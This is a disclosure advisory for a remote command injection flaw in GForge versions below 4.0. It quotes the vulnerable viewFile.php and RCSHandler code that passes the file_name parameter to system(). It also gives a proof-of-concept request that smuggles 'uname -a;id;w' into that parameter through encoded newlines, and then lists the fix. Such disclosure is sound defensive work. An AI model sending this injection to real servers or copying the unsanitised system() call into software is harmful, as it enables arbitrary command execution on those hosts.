文章作者：Filippo Spike Morelli
Vendor : Gforge (
http://gforge.org)
Product : gforge
Affected versions : < 4.0
Bug fixed : >= 4.0 & Debian pkg 3.1-30
Vulnerability : Input validation flaw
Problem-Type : remote
Severity : High, arbitrary command execution
Author : Filippo Spike Morelli
--------------------------------------------------------------------------
--------------------------------------------------------------------------
Background
--------------------------------------------------------------------------
GForge helps you manage the entire development life cycle
GForge has tools to help your team collaborate, like message forums and
mailing lists; tools to create and control access to Source Code Management
repositories like CVS and Subversion. GForge automatically creates a
repository and controls access to it depending on the role settings of the
project.
--------------------------------------------------------------------------
Bug Description
--------------------------------------------------------------------------
The scm component shipped with gforge has a bug in the viewFile.php script.
This script is supposed to serve a file info request, outputting its
history, diffs, and all the other relevant info stored in the repository.
There is a flaw in the file_name parameter validation, so a properly
crafted url can lead to arbitrary command execution under the uid the
webserver runs as.
Files involved:
$GFORGE/www/scm/viewFile.php
$GFORGE/common/include/cvsweb/RCSHandler.class
The problem is in "file_name" url field not properly validated.
$GFORGE/www/scm/viewFile.php
.....
if($allow)
{
$DHD = new DirectoryHandler();
$FHD = new FileHandler();
$RCH = new RCSHandler();
$CVSROOT = $GLOBALS['sys_cvsroot_dir'].$cvsroot;
$DIRNAME = ($file_name != "")?"$file_name":"";
$DIRNAME = $CVSROOT.$DIRNAME;
....
$RCSFile = $DIRNAME.",v";
switch($view_action)
{
case "l":
if(false === $RCH->getRCSLog($RCSFile))
echo("Error: ".$RCH->getError());
.....
$GFORGE/common/include/cvsweb/RCSHandler.class
RCSHandles class takes care of managing the RCS log and diffs for the
requested
file, and it is there that the malicious code is actually executed.
......
function getRCSLog($RCSFILE,$REV="all")
{
$rev = "";
if($REV != "all")
$rev = "-r$REV";
$file = $this->generateTemp();
$cmd = "rlog $rev $RCSFILE > $file";
if(false === ($result = system($cmd)))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
{
$this->setError("Could not execute '$cmd'");
return false;
}
.....
by system() the malicious code in $cmd is executed.
--------------------------------------------------------------------------
PoC
--------------------------------------------------------------------------
The analyzed command is "uname -a;id;w"
gforge/xxxx/xx/xx/gforge.log:xxx.xxx.xxx.xxx [xx/xxx/xxxx:xx:xx:xx +xxxx]
"GET /scm/viewFile.php?group_id=11&file_name=%0Auname%20-a;id;w%0a
HTTP/1.1" 200 2977
"-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2; Maxthon;
.NET CLR 1.1.4322)"
----- "file_name=%0Auname%20-a;id;w%0a" -----
%0a[A] = hexadecimal code for <return>.
%20 = hexadecimal code for <space>
---> "file_name=<return>uname -a;id;w<return>"
looking at viewFile.php sourcecode:
$DIRNAME = ($file_name != "")?"$file_name":"";
so $DIRNAME = <return>uname -a;id;w<return>
$RCSFile = $DIRNAME.",v";
so $RCSFile = <return>uname -a;id;w<return>,v
...
$cmd = "rlog $rev $RCSFILE > $file";
so $cmd = rlog all <return>uname -a;id;w<return>,v > $file
if(false === ($result = system($cmd)))
and then system executes:
1. rlog all which gives back an error because of the non existing path
2. <return>
3. uname -a;id;w
4. <return>
5. and eventually the last part of the string, ",v", which gives back the
error message "sh: ,v: command not found"
--------------------------------------------------------------------------
Solution
--------------------------------------------------------------------------
The vendor has been contacted and they promptly worked on a fix. At the time
of writing the debian package available on Sid (gforge 3.1-30) has been
fixed. As temporary fix it is possible to disable the scm component. Or just
upgrade to latest version.
regards,
--
Filippo Spike Morelli - Miu-ft System Administrator
....................................
.... follow the white rabbit ....
... wait no, follow alice, she's so cute...
